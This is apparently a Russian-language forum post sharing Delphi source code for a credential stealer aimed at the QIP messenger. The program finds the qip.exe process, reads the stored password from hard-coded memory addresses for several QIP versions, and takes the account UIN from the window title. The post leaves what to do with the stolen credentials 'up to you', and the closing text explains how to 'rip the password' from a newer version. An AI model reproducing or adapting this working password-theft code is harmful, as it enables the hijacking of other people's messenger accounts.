Ну вот собсно код программы
Код
Program NewLife;
Uses Windows, TLHelp32, SysUtils;
type
TQVer=(qipNULL,
qip7981,qip7990,qip7995,qip7997,qip7998,
qip8000,qip8010,qip8020);{Идентификаторы версий}
const
QVersions: array [TQVer] of cardinal = //адреса где каждая версия хранит свой пароль
(
$00000000, // QIP other version
$0068128C, // 7981
$006862B4, // 7990
$0068B2D0, // 7995
$006962EC, // 7997
$0069574C, // 7998
$006972EC, // 8000
$0069F580, // 8010
$0069F57C // 8020
);
//для квипа 8030 подходит адрес от 20-го
function get_info(pid: dword; version: TQVer; var p: string): boolean;
// функция получения пароля (пароль записывается в параметр P)
var c: array [0..9] of char;
hp,pt,t: dword;
begin
Result:=false;
if version=qipNULL then exit;
fillchar(c,10,0);
// Открываем процесс для получения инфы
hp:=OpenProcess(PROCESS_QUERY_INFORMATION or PROCESS_VM_READ, false, pid);
if hp = 0 then exit;
// Получаем адрес указателя на пароль
ReadProcessMemory(hp, Pointer(QVersions[version]), @pt, 4, t);
// Получаем пароль
ReadProcessMemory(hp, pointer(pt), @c, 10, t);
CloseHandle(hp);
strlcopy(c,c,8); // Пароль макс 8 символов
{Для уменьшения размера программы можно достать код StrLCopy из
SysUtils и убрать SysUtils из uses}
p:=c;
Result:=true;
end;
var uin:array[0..127] of char;
uins, ps:string;
SH:Thandle;
ppe:TProcessEntry32;
begin
SH:=CreateToolHelp32SnapShot(Th32cs_SnapAll,0); //получаем снимок системы,
// параметр в скобках, означает полную информацию
PPE.dwSize:=sizeOf(ProcessEntry32); //перед использованием структуры
//нужно в поле записать ее размер.
Process32First(SH,PPE); //получаем первый процесс
Repeat
if CharLower(PPE.szExeFile)='qip.exe' then
begin
get_info(ppe.th32ProcessID, qip8020, ps);
{ GetModuleFileName(hProcID, path, MAX_PATH);
ShowMessage(path);
ShowMessage(p); }
// читаем уин из заголовка окна квипа
GetWindowText(FindwinDow('TMainForm', nil), uin, 128);
// может работать некорректно, если открыто несколько копий квипа
uins:=copy(uin,9, length(uin));
// Writeln(uins+';'+ps); // можно вывести на экран
end;
Until not Process32Next(SH,PPE);//получаем в цикле остальные процессы
CloseHandle(SH); //освобождаем ресурс - снимок состояния системы.
// всё!!! переменныя uins содержит UIN, а ps содержит пароль
// что делать с ними дальше решайте сами
//readln;
end.
Еще раз поясню, что для qip 8030 подходит идентификатор версии 8020,
т.е. если вам нужно выдрать пароль из 8030 то указывайте qip8020 в качестве параметра version